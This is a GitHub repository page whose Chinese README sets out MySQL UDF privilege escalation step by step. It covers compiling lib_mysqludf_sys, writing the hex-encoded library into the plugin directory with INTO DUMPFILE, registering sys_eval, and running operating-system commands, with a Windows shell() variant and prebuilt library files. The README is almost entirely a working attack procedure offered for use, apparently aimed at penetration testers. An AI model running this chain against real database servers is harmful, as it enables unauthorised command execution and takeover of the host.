Skip to content

f1tz/UDF

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

MySQL UDF 提权

尝试UDF提权之前,先确保MySQL有读写文件的权限

SHOW VARIABLES LIKE 'sec%';
# or
SELECT @@secure_file_priv;

如果查询到 secure_file_priv 的值为NULL,则不可以读写文件

Linux

https://github.com/mysqludf/lib_mysqludf_sys

编译语句

gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

udf.so.txt 是自己的编译的

udf2.so.txt 来自网友编译

使用方法

首先通过SQL语句查询到MySQL的plugin位置,如:/usr/lib64/mysql/plugin/

SHOW VARIABLES LIKE '%plugin%';
#或者
SELECT @@plugin_dir;

然后写UDF到插件目录、创建函数、执行命令

SELECT unhex(' [udf.so.txt]|[udf2.so.txt] ') INTO DUMPFILE "/usr/lib64/mysql/plugin/udf.so"; #写入udf.so

DROP FUNCTION sys_eval; # 如果存在函数先drop掉

CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.so'; # 创建函数

SELECT sys_eval ('whoami'); # 执行命令

Windows

方法与上面类似,可以使用tools的UDF提权脚本,或者上传dll文件,命令执行函数名为 shell

使用方法:

SELECT shell('cmd','whoami');

About

mysql udf lib

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages